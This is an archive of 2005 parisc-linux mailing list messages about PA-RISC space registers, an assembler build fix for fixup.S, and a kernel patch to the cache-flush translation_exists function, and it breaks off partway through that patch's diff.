  by mx0.gmx.net (mx014) with SMTP; 25 Sep 2005 20:04:12 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D5F547D685;
	Sun, 25 Sep 2005 12:04:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06700-10; Sun, 25 Sep 2005 12:04:06 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4248E7D686;
	Sun, 25 Sep 2005 12:04:06 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 680DA7D682
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Sep 2005 12:04:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06851-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Sep 2005 12:04:00 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id DF5E77D67A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Sep 2005 12:04:00 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 2ACD249551A; Sun, 25 Sep 2005 12:03:58 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by palinux.hppa (Postfix) with ESMTP id B1FE549400C;
	Sun, 25 Sep 2005 12:03:57 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j8PI3teT014518; Sun, 25 Sep 2005 14:03:56 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j8PI3tLI014517;
	Sun, 25 Sep 2005 14:03:55 -0400 (EDT)
In-Reply-To: <20050925173513.GA22786@colo.lackof.org> from "Grant Grundler" at
	Sep 25, 2005 11:35:13 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: y4NEY3kXeSEkfL6WZHQhaXN1IGRvb0B2
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25193

> John was just saying it doesn't matter since parisc-linux uses
> the same value in all four (sr4-7) space registers.

It's possible for user code to mess with sr4.  It's not a
privileged register.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Space registers and how to use them
Date: Sun, 25 Sep 2005 12:17:56 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <20050925181756.GD1459@parisc-linux.org>
References: <20050925034342.GA1459@parisc-linux.org>
	<200509251743.j8PHhw4w013823@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624563 27309 80.91.229.3 (22 Nov 2014 02:49:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:23 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:28:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Sep 2005 18:18:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx016) with SMTP; 25 Sep 2005 20:18:05 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E7D737D69D;
	Sun, 25 Sep 2005 12:18:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07229-01; Sun, 25 Sep 2005 12:18:01 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BFC787D696;
	Sun, 25 Sep 2005 12:18:00 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 61C857D685
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Sep 2005 12:17:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07081-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Sep 2005 12:17:56 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id D8E427D683
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Sep 2005 12:17:56 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 87239495515; Sun, 25 Sep 2005 12:17:56 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by palinux.hppa (Postfix, from userid 26919)
	id 5382F49400C; Sun, 25 Sep 2005 12:17:56 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200509251743.j8PHhw4w013823@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: iYxEY11VeSEkYr6WZHQhaXN1IGRvbwAC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25194

On Sun, Sep 25, 2005 at 01:43:58PM -0400, John David Anglin wrote:
> As a coding note, it's best not to specify sr0 in instructions which
> use the base register selection mechanism.

I'd be happiest if it were illegal actually.  I wonder how much code
that'd break though ...

Can we make it emit a warning?  Something like
"sr0 not allowed for this instruction, using short pointer addressing instead"
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] make[2]: *** [arch/parisc/lib/fixup.o] Error 1
Date: Tue, 04 Oct 2005 20:16:14 +0000
Lines: 51
Approved: news@gmane.org
Message-ID: <4342E30E.7010406@tiscali.be>
References: <200509251914.j8PJEMDq015612@hiauly1.hia.nrc.ca>	<200509251950.j8PJoJh2016027@hiauly1.hia.nrc.ca>	<20050926001932.GB3725@colo.lackof.org>
	<20050926004810.GC3725@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624563 27311 80.91.229.3 (22 Nov 2014 02:49:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:23 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 matthew@wil.cx,
 parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Oct 2005 20:16:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx006) with SMTP; 04 Oct 2005 22:16:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A42267D649;
	Tue,  4 Oct 2005 14:16:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24533-08; Tue, 4 Oct 2005 14:16:27 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 952497D64A;
	Tue,  4 Oct 2005 14:16:26 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B49617D648
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Oct 2005 14:16:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24533-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 4 Oct 2005 14:16:22 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 37EA87D62B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Oct 2005 14:16:22 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 82823494054; Tue,  4 Oct 2005 14:16:19 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by palinux.hppa (Postfix) with ESMTP id 91169494007;
	Tue,  4 Oct 2005 14:16:18 -0600 (MDT)
Original-Received: from (ip-80-236-213-154.dsl.scarlet.be [80.236.213.154]) 
	by guri.is.scarlet.be  with ESMTP id j94KGG616773; 
	Tue, 4 Oct 2005 22:16:16 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.11) Gecko/20050914 Debian/1.7.11-1
X-Accept-Language: en
In-Reply-To: <20050926004810.GC3725@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: d4YwYw5DeSEkdL6WZHQhaXN1IGRvb4CE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25195

Just to mentioned that my stress test (a loop compiling the kernel + a loop deflating a kernel src tar file) run on my b2k for more 
then a full day without any pb :^): I wasn't any more able to do it for a long time.

Thanks for all,
	Joel

PS: Just noticed something weird:
when I objdump the ccio-dma.o (for the d380), it seems that insn lci is desasembled as the famous undocumented lha?


Grant Grundler wrote:
> On Sun, Sep 25, 2005 at 06:19:32PM -0600, Grant Grundler wrote:
> 
>>On Sun, Sep 25, 2005 at 03:50:18PM -0400, John David Anglin wrote:
>>
>>>>fixup.S needs a ".level 1.1" directive.  "ldw,s" is a PA 1.1 feature.
>>>
>>>Actually, it looks like there is a binutils bug here.  However, the
>>>".level" directive still should be added to PA 1.1 files.
>>
>>Unfortunately, use of LDREG precludes specifying .level directly.
>>LDREG becomes "ldd" for 64-bit builds and requires pa20 level.
>>Maybe add a "LDREGS_LEVEL" or somesuch.
> 
> 
> I obviously hadn't looked in asm-parisc/assembly.h.
> "#define LEVEL" is already present.
> 
> 
>>We could make the "LDREG,s" a new macro. But I'm not keen on using
>>the PA1.1 syntax (LDWX). If no one else has a better idea,
>> I'll make this change.
> 
> 
> Also already present (LDREGX).
> The 32-bit-SMP build completes with both in fixup.S.
> 
> thanks,
> grant "needs a cup of tea" grundler
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Space registers and how to use them
Date: Wed, 5 Oct 2005 22:59:36 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <20051006045936.GA27034@colo.lackof.org>
References: <20050925173513.GA22786@colo.lackof.org>
	<200509251803.j8PI3tLI014517@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624564 27314 80.91.229.3 (22 Nov 2014 02:49:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:24 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:28:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Oct 2005 04:53:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx039) with SMTP; 06 Oct 2005 06:53:02 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A65AA7D644;
	Wed,  5 Oct 2005 22:52:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03825-09; Wed, 5 Oct 2005 22:52:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A59F17D647;
	Wed,  5 Oct 2005 22:52:57 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ED4487D644
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  5 Oct 2005 22:52:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03825-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 5 Oct 2005 22:52:54 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 7205E7D640
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  5 Oct 2005 22:52:54 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id DF85F49406E; Wed,  5 Oct 2005 22:52:53 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id B844A494007
	for <parisc-linux@parisc-linux.org>;
	Wed,  5 Oct 2005 22:52:53 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id F0245298034;
	Wed,  5 Oct 2005 22:59:37 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26977-07; Wed, 5 Oct 2005 22:59:36 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 873B4298013; Wed,  5 Oct 2005 22:59:36 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200509251803.j8PI3tLI014517@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +cg2Y/FNeSEkVb6WZHQhaXN1IGRvb4As
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25196

On Sun, Sep 25, 2005 at 02:03:55PM -0400, John David Anglin wrote:
> > John was just saying it doesn't matter since parisc-linux uses
> > the same value in all four (sr4-7) space registers.
> 
> It's possible for user code to mess with sr4.  It's not a
> privileged register.

Certainly. But in the kernel those are KERNEL_SPACE (zero).
We save/restore the user space values for sr4-7.
We clear sr4-sr7 in linux_gateway_entry (arch/parisc/kernel/syscall.S)
for syscalls.  We do the same for interrupts in virt_map macro in entry.S.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH 3/9] mm: parisc pte atomicity
Date: Sat, 22 Oct 2005 10:33:30 -0600
Lines: 127
Approved: news@gmane.org
Message-ID: <20051022163330.GD3364__40516.2402931184$1416624564$gmane$org@parisc-linux.org>
References: <Pine.LNX.4.61.0510221716380.18047@goblin.wat.veritas.com>
	<Pine.LNX.4.61.0510221722260.18047@goblin.wat.veritas.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624564 27318 80.91.229.3 (22 Nov 2014 02:49:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:24 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 linux-kernel@vger.kernel.org,
 parisc-linux@parisc-linux.org
To: Hugh Dickins <hugh@veritas.com>
Original-X-From: - Wed Jul 02 21:28:15 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Oct 2005 16:33:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx016) with SMTP; 22 Oct 2005 18:33:42 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9B66D7D6EC;
	Sat, 22 Oct 2005 10:33:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22130-06; Sat, 22 Oct 2005 10:33:37 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 86B857D6ED;
	Sat, 22 Oct 2005 10:33:36 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6C4F77D6E2
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Oct 2005 10:33:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21787-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Oct 2005 10:33:33 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id D74A47D6E1
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Oct 2005 10:33:33 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 48228494007; Sat, 22 Oct 2005 10:33:31 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by palinux.hppa (Postfix, from userid 26919)
	id 26332494005; Sat, 22 Oct 2005 10:33:31 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.61.0510221722260.18047@goblin.wat.veritas.com>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: sAwoY/l4eSEkYr6WZHQhaXN1IGRvb0DS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25197

On Sat, Oct 22, 2005 at 05:23:27PM +0100, Hugh Dickins wrote:
> There's a worrying function translation_exists in parisc cacheflush.h,
> unaffected by split ptlock since flush_dcache_page is using it on some
> other mm, without any relevant lock.  Oh well, make it a slightly more
> robust by factoring the pfn check within it.  And it looked liable to
> confuse a camouflaged swap or file entry with a good pte: fix that too.

I have to say I really don't understand VM at all.  cc'ing the
parisc-linux list in case anyone there has a better understanding than I
do.

> Signed-off-by: Hugh Dickins <hugh@veritas.com>
> ---
> 
>  arch/parisc/kernel/cache.c      |   24 +++++++++---------------
>  include/asm-parisc/cacheflush.h |   35 +++++++++++++++++++----------------
>  2 files changed, 28 insertions(+), 31 deletions(-)
> 
> --- mm2/arch/parisc/kernel/cache.c	2005-03-02 07:38:56.000000000 +0000
> +++ mm3/arch/parisc/kernel/cache.c	2005-10-22 14:06:30.000000000 +0100
> @@ -266,7 +266,6 @@ void flush_dcache_page(struct page *page
>  	unsigned long offset;
>  	unsigned long addr;
>  	pgoff_t pgoff;
> -	pte_t *pte;
>  	unsigned long pfn = page_to_pfn(page);
>  
>  
> @@ -297,21 +296,16 @@ void flush_dcache_page(struct page *page
>  		 * taking a page fault if the pte doesn't exist.
>  		 * This is just for speed.  If the page translation
>  		 * isn't there, there's no point exciting the
> -		 * nadtlb handler into a nullification frenzy */
> -
> -
> -  		if(!(pte = translation_exists(mpnt, addr)))
> -			continue;
> -
> -		/* make sure we really have this page: the private
> +		 * nadtlb handler into a nullification frenzy.
> +		 *
> +		 * Make sure we really have this page: the private
>  		 * mappings may cover this area but have COW'd this
> -		 * particular page */
> -		if(pte_pfn(*pte) != pfn)
> -  			continue;
> -
> -		__flush_cache_page(mpnt, addr);
> -
> -		break;
> +		 * particular page.
> +		 */
> +  		if (translation_exists(mpnt, addr, pfn)) {
> +			__flush_cache_page(mpnt, addr);
> +			break;
> +		}
>  	}
>  	flush_dcache_mmap_unlock(mapping);
>  }
> --- mm2/include/asm-parisc/cacheflush.h	2005-10-11 12:07:49.000000000 +0100
> +++ mm3/include/asm-parisc/cacheflush.h	2005-10-22 14:06:30.000000000 +0100
> @@ -100,30 +100,34 @@ static inline void flush_cache_range(str
>  
>  /* Simple function to work out if we have an existing address translation
>   * for a user space vma. */
> -static inline pte_t *__translation_exists(struct mm_struct *mm,
> -					  unsigned long addr)
> +static inline int translation_exists(struct vm_area_struct *vma,
> +				unsigned long addr, unsigned long pfn)
>  {
